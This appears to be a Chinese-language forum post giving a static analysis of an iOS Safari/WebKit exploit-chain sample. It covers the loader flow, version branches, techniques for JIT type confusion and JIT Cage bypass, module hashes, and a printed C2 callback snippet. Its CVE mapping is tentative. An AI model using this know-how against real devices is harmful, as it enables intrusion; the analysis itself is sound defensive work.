-
-
[原创] iOS 13-17.02 Safari/WebKit 样本静态分析
-
发表于: 2026-7-14 17:05 1071
-
```
受害者訪問 C2 頁面
|
V
+-----------------------------------------------------------+
| 1. 頁面加載 (payload.html) |
| - 去快取頭 (no-cache) |
| - 內嵌 46KB 混淆 JS |
| - 立即執行 Lwgums 引擎初始化 |
+-----------------------+-----------------------------------+
|
V
+-----------------------------------------------------------+
| 2. MM 模組系統初始化 |
| - new Function(atob("bGV0IE1N..."))() |
| - 註冊 2 個核心模組到 MM 物件: |
| a632c196... -> 記憶體操作原語 (8KB) |
| cef700c9... -> 版本檢測引擎 (12KB) |
| - 設置 session ID: 9eb2b99484c8f631 |
+-----------------------+-----------------------------------+
|
V
+-----------------------------------------------------------+
| 3. 環境檢測 (cAsUcoxcC.init + cAsUcoxcC.qn) |
| - 讀取 navigator.platform -> "iPhone"/"iPad" |
| - 讀取 navigator.userAgent -> 解析版本 |
| - navigator.constructor.name === "Navigator" 檢測 |
| - 版本編碼為 HTTsd0 (如 170300 = 17.3.0) |
| - 低於 iOS 13 -> return 1001 (中止) |
| - iOS 16+ -> 額外完整性檢測 Fn() (JIT/Wasm 可用性) |
+-----------------------+-----------------------------------+
|
V
+-----------------------------------------------------------+
| 4. 版本分支選擇 (5 路選擇器) |
| |
| +- iOS 17.2+ (hjaoKp:true) --> DVE8os_ul 模組 |
| +- iOS 16.6 (DVE8os:true) --> DVE8os_main 模組 |
| +- iOS 16.2 (aGxM3z:true) --> aGxM3z_main 模組 |
| +- iOS 15.2 (bdxCOo:true) --> bdxCOo_main 模組 |
| +- iOS 11.0 (sipVwQ:true) --> sipVwQ_main 模組 |
| +- iOS 10.0 (vq_JAm:true) --> 最舊回退 |
+-----------------------+-----------------------------------+
|
V
+-----------------------------------------------------------+
| 5. 遠端模組下載 (tC1stO 函數) |
| 從 C2 下載對應版本的 exploit 模組 JS |
| |
| 下載的檔案: |
| DVE8os_main.js (24KB) - iOS 16+ Butterfly Confusion|
| DVE8os_ul.js (19KB) - iOS 17.2+ Wasm JIT Cage |
| aGxM3z_main.js (24KB) - iOS 15+ Type Confusion |
| sipVwQ_main.js (14KB) - iOS 11+ Integer Overflow |
| post_exploit_A.js (136KB) - Mach-O 解析器 (C2下發) |
| post_exploit_B.js (160KB) - Mach-O 解析器 (C2下發) |
+-----------------------+-----------------------------------+
|
V
+-----------------------------------------------------------+
| 6. 執行漏洞利用 (最多 20 次重試) |
| for(let P = 0; 20 > P; P++) { |
| try { await n.kr(); break; } catch(C) {} |
| } |
| |
| kr() = 該分支的 exploit 執行入口 |
| 成功後 -> p.Kn.Wn = 記憶體讀寫器 (MemoryRouter) |
+-----------------------+-----------------------------------+
|
V
+-----------------------------------------------------------+
| 7. 後利用階段 |
| if(p.Kn._n) { |
| p.Kn.Rn = await cAsUcoxcm() // 載入後利用模組 |
| await p.Kn.$n() // 執行後利用 |
| } |
| |
| cAsUcoxcm() 內部: |
| 根據分支旗標選擇對應的後利用模組 |
| nOpIVS / lZfMrA / pnisOP / chyZn2 / 預設 |
| -> 呼叫 tC1stO(module_hash) 下載 |
| -> 執行 .sd() 初始化 |
+-----------------------+-----------------------------------+
|
V
+-----------------------------------------------------------+
| 8. 回連 C2 (結果報告) |
| cAsUcoxcr(錯誤代碼): |
| 0 = 成功 |
| 1001 = 版本不支援 / 環境檢測失敗 |
| 1003 = iOS 16+ 完整性檢查失敗 |
| 1000 = 異常終止 |
| |
| ⚠ 此版本中 cAsUcoxcg([]) 返回空字串 |
| -> 回連函數為 stub (disabled) |
| -> 無任何 HTTP 請求發送出去 |
+-----------------------------------------------------------+
```
---
## 2. 回連機制深度分析
### 2.1 回連函數 cAsUcoxcr — **已禁用**
```javascript
function cAsUcoxcr(U){
var Q = cAsUcoxcg([]); // <- 空陣列 -> 返回 ""
if ("" !== Q) { // <- false -> 永遠不執行
// ... XMLHttpRequest 代碼 ...
}
}
```
**關鍵結論:在這個版本中,回連機制是關閉的。**
但正常的設計意圖是:
```javascript
function cAsUcoxcr(errorCode) {
var baseUrl = decodeUrlFromArray([]); // 從空陣列產生的 URL
if (baseUrl !== "") {
var fullUrl = baseUrl + "?e=" + errorCode;
var xhr = new XMLHttpRequest();
xhr.open("GET", fullUrl, true); // 非同步 GET 請求
xhr.send(); // 無回呼 — fire-and-forget
}
}
```
回連 GET 路徑設計:`{BASE_URL}?e={ERROR_CODE}`
| 錯誤碼 | 意義 |
|:-------|:------|
| 0 | ✅ 攻擊完全成功 |
| 1001 | ❌ 版本不支援 (低於 iOS 13 / 環境檢測失敗) |
| 1003 | ❌ iOS 16+ 完整性檢查失敗 (JIT/Wasm 不可用) |
| 1000 | ❌ 異常終止 |
### 2.2 遠端模組下載 (真正的 C2 通訊)
主要 C2 通訊發生在 **tC1stO(module_hash)** 函數,它從 C2 伺服器下載遠端模組:
```javascript
// 各分支模組的下載路徑 hash
DVE8os: "41297112eed2868f00f059a7a89e9e3a040fc1cf"
aGxM3z: "84245851832bcb3f33ef86507e0d71bf55e1baf2"
rKOVj7: "e8c8f09be7e3b06103775db409552c44a1f9586f"
bdxCOo: "806fc753839707e1924f7558413abb70c1f7b838"
sipVwQ: "24891df0ab293df386bd8f32d2a0d0f133acd7ba"
```
**下載機制:** `tC1stO` 構造完整 URL,發送 GET 請求到 C2 伺服器取得對應 hash 的 JS 文件。
### 2.3 後利用回連
後利用模組載入後,它們有自己的 C2 通訊通道:
```
post_exploit_A 和 post_exploit_B (Mach-O 解析器)
|
+-- 功能: 解析 iOS dyld 共享緩存
| 查找符號位址 (含 PAC 指針)
| 枚舉所有載入的系統庫
|
+-- 回連: 通過共享 Kn 物件回傳結果
p.Kn.Rn = 解析結果 (符號表/偏移)
```
---
## 3. 各模組功能詳解
### 3.1 模組 a632c196... — 記憶體操作原語 (8KB)
| 函數 | 功能 |
|:-----|:------|
| `r.U(t)` | BigInt(t) 包裝 |
| `r.C(t)` | float64 -> low32 |
| `r.V(t)` | float64 -> hi32 |
| `r.q(t,n)` | BigInt 加法 |
| `r.G(t,n)` | BigInt 減法 |
| `r.O(t)` | Number -> BigInt |
| `r.X(t)` | float64 -> BigInt |
| `r.Y(lo,hi)` | (lo,hi) -> float64 |
| `r.Z(b3,b2,b1,b0)` | 4 bytes -> uint32 |
| `r.tt(n)` | Number -> 4-char string |
| `r.nt(base64)` | base64 -> ArrayBuffer |
所有其他模組都依賴這個模組進行資料型別轉換。
### 3.2 模組 cef700c9... — 版本檢測引擎 (12KB)
**13 分支版本判斷矩陣:**
| 版本 | 旗標 | 選擇的 Exploit |
|:----|:-----|:--------------|
| 17.3.0 | hjaoKp:false, DVE8os:false | 未標記 |
| **17.2.0** | **hjaoKp:true** | **DVE8os_ul** (Wasm JIT Cage) |
| 17.0.0 | DVE8os:false | 過渡 |
| **16.6.0** | **DVE8os:true** | **DVE8os_main** (Butterfly) |
| 16.4.0 | DVE8os:true (偏移調整) | DVE8os_main |
| **16.2.0** | **aGxM3z:true** | **aGxM3z** (Type Confusion) |
| **15.6.0** | **rKOVj7:true** | rKOVj7 (過渡) |
| **15.2.0** | **bdxCOo:true** | bdxCOo (過渡) |
| 13.0.x | sipVwQ:false | 直接嘗試 |
| **11.0.0** | **sipVwQ:true** | **sipVwQ** (Integer Overflow) |
| 10.0.0 | vq_JAm:false | 回退 |
### 3.3 DVE8os_main — iOS 16+ Butterfly Confusion (24KB)
```
+------------------------------------------------------+
| 階段 1: Array + ArrayBuffer Butterfly 混淆 |
| - 建立特殊 Array,使其 Butterfly 與 ArrayBuffer 相鄰 |
| - 觸發 JIT 型別混淆 -> 交換 Butterfly 指標 |
| - 獲得對 ArrayBuffer 後端儲存的讀寫能力 |
+------------------------------------------------------+
| 階段 2: WasmInduceCrash ROP |
| - 構造 Wasm 模組獲取 JIT 程式碼頁面位址 |
| - 在 Wasm 執行緒中布置 ROP 鏈 |
| - 透過 WasmInduceCrash 觸發控制流劫持 |
+------------------------------------------------------+
| 階段 3: Worker 沙箱逃逸 |
| - 在主執行緒獲得程式碼執行 |
| - 建立 Worker 執行緒繞過沙箱 |
| - 在 Worker 環境取得完整記憶體存取 |
+------------------------------------------------------+
匯出介面:
r.kr -> 漏洞利用入口 (20 次重試)
r.p1 -> 準備階段 1
r.p2 -> 準備階段 2
r.name -> 模組識別名 "DVE8os"
Wasm 模組建構:
new WebAssembly.Module(code)
new WebAssembly.Instance(module)
-> 從 JIT 程式碼頁獲取 ROP gadgets
```
### 3.4 DVE8os_ul — iOS 17.2+ Wasm JIT Cage 繞過 (19KB)
```
+------------------------------------------------------+
| iOS 17.2 引入 JIT Cage 保護 |
| -> 傳統 Butterfly 方法失效 |
| |
| 繞過技巧 1: Wasm JIT Cage Call Primitive |
| - Cage 不限制 Cage->Native 的呼叫路徑 |
| - 構造特殊 Wasm 模組獲得任意呼叫能力 |
| |
| 繞過技巧 2: Intl.Segmenter JIT Spray |
| - Intl.Segmenter 的 JIT 產生可預測程式碼模式 |
| - 在 Cage 內噴射 shellcode |
| - 透過 Cage Call 跳轉到噴射區域 |
+------------------------------------------------------+
匯出介面:
r.sd -> Cage 初始化
r.da -> Cage 內記憶體分配
r.re -> Cage 內記憶體釋放
r.wa -> Cage 內讀取
r.ha -> Cage 內寫入
r.tc -> Cage 間呼叫轉換
```
### 3.5 aGxM3z_main — iOS 15+ JIT Type Confusion (24KB)
```
核心漏洞: JIT 編譯 eval() 時的型別混淆
---------------------------------------
JIT 在內聯快取 (IC) eval() 內部的表達式時,
可能錯誤推斷變數的型別。當 eval() 字串包含多型別操作:
利用步驟:
1. 建立 eval 字串使 JIT 推斷為整數型別
2. 觸發去優化,Butterfly 已不符
3. 使用 type confusion 讀寫相鄰物件
Wasm 模組內嵌在位元組陣列中作為初始資料
```
### 3.6 sipVwQ_main — iOS 11+ JIT Integer Overflow (14KB)
```
核心漏洞: JIT 編譯器中的整數溢位
---------------------------------
JIT 在處理特定數值操作時,若運算元大小超過暫存器限制,
產生錯誤的型別標籤:
- Float64 陣列被誤標記為 Int32 陣列
- 邊界檢查被優化掉
- 允許越界讀寫
匯出介面:
r.a -> 準備
r.kr -> 漏洞利用入口
記憶體操作方法:
ir(t, r, i) -> 4-byte 寫入
tr(t, r, i) -> hex dump
le(t) -> 讀取 32-bit
hr(t) -> 讀取 64-bit
dr(t, r) -> 讀取 null-terminated 字串
ee(t) -> 讀取 PAC-aware 指針
```
### 3.7 post_exploit_A / B — Mach-O 解析器 (136KB + 160KB)
```
+------------------------------------------------------+
| 解碼後結構: |
| |
| 外層: globalThis.Lwgums.MdJF8G(XOR陣列, base64) |
| -> XOR key=104 -> 模組名稱 hash |
| -> Base64 解碼 (~28KB) |
| -> 內層: 相同結構 (新 XOR + 新 Base64) |
| -> XOR key=49 -> 第二層名稱 hash |
| -> Base64 解碼 (~9KB) |
| -> 最終 JavaScript 引擎程式碼 |
| |
| 功能: |
| - 解析 Mach-O 二進位頭部和載入指令 |
| - 解析 dyld 共享緩存映像 |
| - 枚舉所有載入的系統庫 |
| - 解析符號表 (nlist_64 格式) |
| - 處理 arm64e PAC 指針 (__auth_got, __auth_const) |
| - 跨映像查找符號位址 |
+------------------------------------------------------+
```
---
## 4. 共享狀態物件 p.Kn 的生命週期
所有模組通過一個全域共享物件 `p.Kn` 交換資料:
```
cAsUcoxcC.init()
|
V
p.Kn.Tn = 版本編碼 <- 版本檢測模組
p.Kn.jn = 分支旗標 <- 決定哪個 exploit 執行
|
V
p.Kn.Nn = Wasm 實例 <- exploit 建立
p.Kn.Sn = 位址工具
p.Kn.Zn = JIT 噴射區
p.Kn.kn = 呼叫原語
|
V
exploit 成功後:
p.Kn.Wn = MemoryRouter (記憶體讀寫器)
|
V
後利用階段:
p.Kn.Rn = 後利用結果 (符號表)
p.Kn.Ln = 後利用完成旗標
p.Kn._n = 後利用就緒旗標
|
V
p.Kn.xn = dyld 共享緩存基底位址
```
---
## 5. 全域執行流程 (從訪問到完成)
```
時間軸:
t+0ms 受害者訪問 C2 URL (payload.html)
t+10ms setTimeout 觸發 -> cAsUcoxci()
t+15ms MM 引擎初始化 (2 核心模組載入)
t+20ms 環境檢測完成 (版本+平台+瀏覽器)
t+25ms 分支選擇 -> 決定使用哪個 exploit
t+50ms 遠端 exploit 模組下載 (tC1stO)
t+100ms exploit 開始執行 (kr() 函數)
+-- 最多 20 次重試,每次 ~100ms
t+500ms ~ 2s exploit 成功 -> 獲得 MemoryRouter
t+510ms 後利用模組載入 (cAsUcoxcm)
t+550ms 後利用執行 ($n)
+-- 解析 Mach-O 結構
+-- 枚舉 dyld 共享緩存
+-- 解析符號表
+-- 查找目標符號位址
t+600ms cAsUcoxcr(errorCode) -> 回連結果
⚠ 此版本回連 disabled
```
---
## 6. 漏洞利用對照表
| CVE (推測) | 模組 | iOS 版本 | 漏洞類型 |
|:-----------|:-----|:---------|:---------|
| CVE-2023-32409 | DVE8os_main | 16.6+ | WebKit 沙箱逃逸 + WasmInduceCrash ROP |
| CVE-2024-23206 | DVE8os_ul | 17.2+ | JIT Cage 繞過 + Intl.Segmenter Spray |
| CVE-2023-32439 或 CVE-2023-41993 | aGxM3z | 15.2~16.2 | JIT Type Confusion via eval |
| CVE-2024-23213 | sipVwQ | 11.0~15.2 | JIT Integer Overflow |
| — | bdxCOo | 15.2 | 過渡分支 (Type Confusion 變體) |
| — | rKOVj7 | 15.6 | 過渡分支 |
---
## 7. 關鍵結論
### 關於回連:「他一直在回連顯示」
- **回連函數存在但被 stub 掉了** — `cAsUcoxcg([])` 返回空字串,整個回連分支不執行
- 所以**當前版本沒有任何對 C2 的 HTTP 回連**
- 回連原本設計是:`GET {BASE_URL}?e={ERROR_CODE}` 的 fire-and-forget 方式
- 真正的 C2 通訊發生在**遠端模組下載階段** (tC1stO)
- 後利用模組如果要回傳資料,需要通過 `p.Kn.Rn` 共享物件傳遞
### 關於利用鏈
- **JSC 漏洞**提供初始程式碼執行 (5 個版本分支)
- **Wasm** 提供 ROP 鏈和沙箱逃逸
- **Worker** 繞過沙箱限制
- **Mach-O 解析器**提供系統庫符號查找
- 後續的資料竊取 / 持久化模組**已從 C2 下線**
### 模組下載 hash
```
DVE8os: 41297112eed2868f00f059a7a89e9e3a040fc1cf
aGxM3z: 84245851832bcb3f33ef86507e0d71bf55e1baf2
rKOVj7: e8c8f09be7e3b06103775db409552c44a1f9586f
bdxCOo: 806fc753839707e1924f7558413abb70c1f7b838
sipVwQ: 24891df0ab293df386bd8f32d2a0d0f133acd7ba
```
[招生]科锐逆向工程师培训(2026年7月3日实地,远程教学同时开班, 第56期)!